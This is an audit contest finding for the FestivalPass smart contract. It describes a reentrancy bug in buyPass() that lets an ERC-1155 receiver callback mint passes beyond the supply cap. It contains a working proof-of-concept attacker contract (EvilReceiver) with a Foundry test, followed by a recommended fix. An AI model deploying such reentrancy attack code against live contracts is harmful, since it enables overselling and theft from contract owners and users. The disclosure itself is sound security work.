Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-] Reentrancy Oversell in `FestivalPass::buyPass()` leads to Violate Supply Cap via ERC-1155 Callback

Reentrancy Oversell in FestivalPass::buyPass() leads to Violate Supply Cap via ERC-1155 Callback

Description

  • Normal behaviour: buyPass() should mint one pass per call and halt once passSupply == passMaxSupply.

  • Issue: _mint() triggers the ERC-1155 acceptance check, which calls onERC1155Received on the receiver after the internal balance update but before buyPass() increments passSupply. A malicious contract can implement onERC1155Received to re-enter buyPass() during this window. Because passSupply has not yet been incremented, each nested call passes the maxSupply check and mints another pass. When execution unwinds, passSupply is incremented once per call, resulting in an inflated supply and broken cap.

// FestivalPass.sol – buyPass()
_mint(msg.sender, collectionId, 1, ""); // ⬅️ external callback here
@> ++passSupply[collectionId]; // increment happens *after* callback

Risk

Likelihood:

  • Contracts frequently interact with NFTs and can easily implement IERC1155Receiver.

  • No re-entrancy guard (nonReentrant) or effect-interaction pattern exists; the vulnerability is exploitable on the very first sale of a limited pass type.

Impact:

  • Unlimited overselling of any pass whose maxSupply > 0 — even when the cap is 1.

  • Economic & reputational damage similar to the “SupplyCapBypass” bug but achievable without organizer interaction; any buyer can exploit it.

Proof of Concept

  1. Organizer sets VIP maxSupply = 1.

  2. Attacker deploys EvilReceiver, a contract implementing:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract EvilReceiver {
FestivalPass public festival;
uint256 public price;
uint256 public passId;
bool private triggered;
constructor(address _festival, uint256 _price, uint256 _passId) payable {
festival = FestivalPass(_festival);
price = _price;
passId = _passId;
}
/* kick-off */
function attack() external {
festival.buyPass{value: price}(passId);
}
/* IERC1155Receiver single */
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external returns (bytes4) {
if (!triggered) {
triggered = true;
festival.buyPass{value: price}(passId); // re-enter
}
return this.onERC1155Received.selector;
}
/* IERC1155Receiver batch */
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
/* IERC165 */
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == this.onERC1155Received.selector ||
interfaceId == this.onERC1155BatchReceived.selector;
}
receive() external payable {}
}
contract ReentrancyOversellTest is Test {
FestivalPass internal festivalPass;
BeatToken internal beatToken;
address internal organizer;
uint256 internal constant VIP_PASS_ID = 2;
uint256 internal constant VIP_PRICE = 0.1 ether;
/* -------------------------------------------------------------------------- */
/* Setup */
/* -------------------------------------------------------------------------- */
function setUp() public {
organizer = makeAddr("organizer");
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
// Configure VIP pass with maxSupply = 1 (extremely limited)
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS_ID, VIP_PRICE, 1);
}
/* -------------------------------------------------------------------------- */
/* Tests */
/* -------------------------------------------------------------------------- */
function test_Reentrancy_OversellsVIP() public {
// Deploy attacker contract funded with enough ETH for two purchases
EvilReceiver evil = new EvilReceiver{value: 3 * VIP_PRICE}(address(festivalPass), VIP_PRICE, VIP_PASS_ID);
// Start exploit — expect to bypass the 1-pass cap
vm.prank(address(evil));
evil.attack();
// ------------------------------------
// Assertions
// ------------------------------------
assertEq(festivalPass.passSupply(VIP_PASS_ID), 2, "Supply counter should read 2");
assertEq(festivalPass.balanceOf(address(evil), VIP_PASS_ID), 2, "Attacker owns two VIP passes");
}
}
  1. EvilReceiver calls buyPass(2).

  2. Re-entrant call executes before the first ++passSupply, so both mints succeed. Final state: passSupply == 2, circulating VIP passes == 2, while maxSupply was 1.

Recommended Mitigation

function buyPass(uint256 collectionId) external payable {
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ // Checks ‑› Effects ‑› Interactions
+ ++passSupply[collectionId]; // EFFECTS first
+ _mint(msg.sender, collectionId, 1, ""); // INTERACTION after state change
}

Or add nonReentrant modifier from OpenZeppelin’s ReentrancyGuard to the function to block nested calls entirely.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.